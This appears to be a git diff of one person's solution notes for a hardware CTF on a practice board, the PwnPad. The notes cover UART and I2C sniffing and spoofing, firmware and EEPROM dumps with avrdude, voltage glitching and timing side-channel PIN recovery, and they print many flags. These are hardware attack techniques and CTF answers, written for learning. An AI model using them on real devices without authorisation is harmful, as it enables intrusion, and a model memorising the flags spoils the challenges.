@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
